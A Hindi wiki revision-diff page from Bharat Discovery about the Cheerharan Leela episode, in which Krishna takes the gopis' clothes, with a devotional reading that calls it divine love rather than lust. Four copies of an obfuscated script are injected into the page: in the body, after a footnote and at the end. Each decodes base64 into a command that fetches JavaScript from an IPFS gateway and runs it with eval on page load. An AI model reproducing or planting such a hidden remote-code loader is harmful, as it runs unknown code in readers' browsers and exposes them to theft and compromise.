एक्स्प्रेशन त्रुटि: अनपेक्षित उद्गार चिन्ह "३"।

"चीरहरण लीला" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
पंक्ति 1: पंक्ति 1:
 
[[चित्र:Cheer-haran.jpg|thumb|200px|[[कृष्ण]] द्वारा [[गोपी|गोपियों]] का वस्त्र हरण]]
 
[[चित्र:Cheer-haran.jpg|thumb|200px|[[कृष्ण]] द्वारा [[गोपी|गोपियों]] का वस्त्र हरण]]
 +
[[कृष्ण|भगवान श्रीकृष्ण]] और [[गोपी|गोपियों]] से सम्बंधित कई प्रसंग [[हिन्दू]] धार्मिक ग्रंथों में मिलते हैं। ऐसा ही एक प्रसंग '''चीरहरण लीला''' से सम्बंधित है।
 +
 
[[शरद ऋतु|शरद-ऋृतु]] में [[भगवान]] ने वेणु वादन किया था, इसके पश्चात [[ब्रज]] में हेमंत ऋृतु का आगमन हुआ। इस समय भगवान की आयु छ: वर्ष की थी। [[गोपी|गोपियां]] तो छोटी-छोटी सी थी। गोपियों ने ईश्वर प्राप्ति के लिए कात्यायनी की उपासना की। इस व्रत को पूर्ण करने के लिए गोपियां अपने वस्त्र उतारकर उन वस्त्रों को [[यमुना|यमुना जी]] में स्नान के लिए प्रवेश कर गईं। भगवान गोपियों के वस्त्र चुराकर [[कदम्ब]] के वृक्ष पर चढ़ गए। जब गोपियों को पता लगा तो वे [[कृष्ण]] से वस्त्रों की याचना करने लगीं। भगवान ने गोपियों से, जल से बाहर, अपने पास आने के लिए कहा।<ref name="cc">{{cite web |url=https://plus.google.com/+AwesNIRAJ/posts/Ph5AL8Tik2v|title=चीरहरण लीला|accessmonthday=21 फरवरी|accessyear=2016|last= |first= |authorlink= |format= |publisher=Awes NIRAJ|language=हिन्दी}}</ref>
 
[[शरद ऋतु|शरद-ऋृतु]] में [[भगवान]] ने वेणु वादन किया था, इसके पश्चात [[ब्रज]] में हेमंत ऋृतु का आगमन हुआ। इस समय भगवान की आयु छ: वर्ष की थी। [[गोपी|गोपियां]] तो छोटी-छोटी सी थी। गोपियों ने ईश्वर प्राप्ति के लिए कात्यायनी की उपासना की। इस व्रत को पूर्ण करने के लिए गोपियां अपने वस्त्र उतारकर उन वस्त्रों को [[यमुना|यमुना जी]] में स्नान के लिए प्रवेश कर गईं। भगवान गोपियों के वस्त्र चुराकर [[कदम्ब]] के वृक्ष पर चढ़ गए। जब गोपियों को पता लगा तो वे [[कृष्ण]] से वस्त्रों की याचना करने लगीं। भगवान ने गोपियों से, जल से बाहर, अपने पास आने के लिए कहा।<ref name="cc">{{cite web |url=https://plus.google.com/+AwesNIRAJ/posts/Ph5AL8Tik2v|title=चीरहरण लीला|accessmonthday=21 फरवरी|accessyear=2016|last= |first= |authorlink= |format= |publisher=Awes NIRAJ|language=हिन्दी}}</ref>
  

06:02, 23 फ़रवरी 2016 का अवतरण

कृष्ण द्वारा गोपियों का वस्त्र हरण

भगवान श्रीकृष्ण और गोपियों से सम्बंधित कई प्रसंग हिन्दू धार्मिक ग्रंथों में मिलते हैं। ऐसा ही एक प्रसंग चीरहरण लीला से सम्बंधित है।

शरद-ऋृतु में भगवान ने वेणु वादन किया था, इसके पश्चात ब्रज में हेमंत ऋृतु का आगमन हुआ। इस समय भगवान की आयु छ: वर्ष की थी। गोपियां तो छोटी-छोटी सी थी। गोपियों ने ईश्वर प्राप्ति के लिए कात्यायनी की उपासना की। इस व्रत को पूर्ण करने के लिए गोपियां अपने वस्त्र उतारकर उन वस्त्रों को यमुना जी में स्नान के लिए प्रवेश कर गईं। भगवान गोपियों के वस्त्र चुराकर कदम्ब के वृक्ष पर चढ़ गए। जब गोपियों को पता लगा तो वे कृष्ण से वस्त्रों की याचना करने लगीं। भगवान ने गोपियों से, जल से बाहर, अपने पास आने के लिए कहा।[1]

भगवान अपने भक्तों के वसन[2] रूपी वासना को हटाना चाहते हैं क्योंकि वासना से बुद्धि आच्छादित हो जाती है और वासना रूपी वस्त्र भगवान से मिलने में बाधक भी होता है। इसलिए भगवान अपने प्रेमी का आवरण[3] स्वयं हटाते हैं। उपासना से वासना की निवृत्ति होती है। वासना की निवृत्ति होने के बाद ही प्रभु से एकता होती है। प्रभु से एकता ही रास है। इस प्रकार भगवान रास में प्रवेश करने की तैयारी करते हैं। आवरण के हटने के बाद ही भगवान का वरण होगा। भगवान ने गोपियों से कहा कि 'शरद ऋृतु में आपके साथ रास करूंगा।'

यह दिव्य प्रेम लीला है। काम की गंध भी नहीं है। यदि इस प्रसंग को काम प्रधान माना जाए तो जिनके चार अंगूल की लंगौट तक नहीं, जिन्हें देखकर अप्सराओं की लज्जा की निवृत्ति हो गई थी। वे परम वीतरागी श्रीशुकदेव जी क्या इस कथा को कहते, यदि यह काम लीला होती ? सात दिनों में जिसे मुक्त होना हो, क्या ऐसे परीक्षित जी महाराज इसे सुनते ?[1]


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

  1. 1.0 1.1 चीरहरण लीला (हिन्दी) Awes NIRAJ। अभिगमन तिथि: 21 फरवरी, 2016।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  2. वस्त्र
  3. वासना,वस्त्र

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>